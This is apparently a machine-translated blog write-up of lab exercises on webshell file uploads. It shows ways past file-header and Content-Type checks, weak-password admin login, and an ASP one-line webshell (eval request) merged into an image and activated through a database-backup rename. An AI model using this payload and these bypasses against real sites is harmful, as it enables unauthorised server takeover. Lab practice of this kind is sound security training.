当前位置:网站首页>Moher college webshell file upload analysis (questions 3-5)
Moher college webshell file upload analysis (questions 3-5)
2022-07-21 20:55:00 【narukuuuu】
Third question
It is also a familiar interface for uploading files , Upload a word of Trojan , no way however png gif jpg That's ok , But the picture horse just can't ???? That should be the detection of file headers ( At first, I thought it was right MIME Limitations of type , If the picture is not good, it means that it is not right MIME Limitations of type )
Add... Before a sentence GIF89a, Upload
Oh, sure enough, it's the detection of file headers , As always, use ant sword connection to find key File found flag
Fourth question
I am so tired today , Write again tomorrow
Come on, come on
Upload casually php have a look , no way , Then upload a picture and find it feasible , Since the last question is about the detection of file headers Then this question should be right Content-Type Detection of
Upload php, Grab the bag , take content-type Change to the type that can be uploaded ( image jpg png gif )
As always, , Ant sword connection found key File can .
Fifth question ( I don't quite understand , I'll make up for it later )
A publishing site ???asp Script ??? Look at backstage management
The background path is obvious , Then log in with weak password in the background ( There is still a place that I don't understand , If the verification code cannot be reused, the form must be resubmitted for login , Is it because of this that weak password blasting cannot be carried out )
You can see article management and data processing , As the name suggests, article management is file upload
Then we will asp Code <%eval request("cmd")%> Combine with the picture to make a picture horse , The code is as follows :
copy 1.asp /b + 1.png /a webshell.png
Upload the picture
Copy the path to the data processing place to the current database path , Change the database name to XXX.asp( and php It's almost the same , It's just that the language is different hahaha ), The backup data
Get the following
As always, use ant sword to connect , The path is a .....( Omitted )/admin/Databackup/1.asp
Stuck for a long time when using ant sword link , The path has always been wrong , Finally, I found that I didn't add admin Purring
key The file in intpub Under the directory !!!
边栏推荐
- thinkphp5.1下使用 jwt 进行验证
- PHP (TP framework) uses Alibaba cloud OSS storage
- [geek challenge 2019] easy, love, baby SQL
- 【内网渗透】内网不出网机器反弹shell以及CS上线
- 自定义获取请求参数类 GET POST
- Usage and introduction of sonarlint
- Nodejs等待一段时间
- Attack and defense World Web Zone difficulty level: 3 (ics-05, MFW, easytornado)
- OpenFOAM中的多孔介质
- Introduction to PHP
猜你喜欢
VOF phase transition equation in openfoam
php(tp框架)使用阿里云OSS存储
QML implements CSDN search box with irregular rounded corners
ECSHOP vulnerability recurrence
22. [static member access format] class name:: access member, then the member needs to be static]
OpenFoam中的VOF相变方程
PHP basic syntax
Construction de l'environnement PHP (panneau de pagode recommandé)
thinkphp6使用EasyWeChat5.x之公众号开发(一)
【内网渗透】内网不出网机器反弹shell以及CS上线
随机推荐
Buuctf [gxyctf2019] no dolls
使用nodemon工具使Nodejs服务器自动重启
Precision problems and solutions of JS decimal conversion percentage
PHP arrays are arranged in descending order according to the keys of the associative array
PHP介绍
Oh my Zsh efficiency plug-in
yar 框架 实现 rpc
TP5 docking visa free FM payment interface
PHP basic syntax
ECSHOP vulnerability recurrence
Construction de l'environnement PHP (panneau de pagode recommandé)
Help the great God
个人小程序:梦缘
Openfoam tips
线性薛定谔方程实现界面推移
Téléchargement de fichiers buctf n1book [chapitre 2 Web Advanced]
Thinkphp6 learning experience
PHP handles CSV files to solve Chinese garbled code
OpenFoam小技巧
Nodejs uses the post method to receive JS objects and write JSON files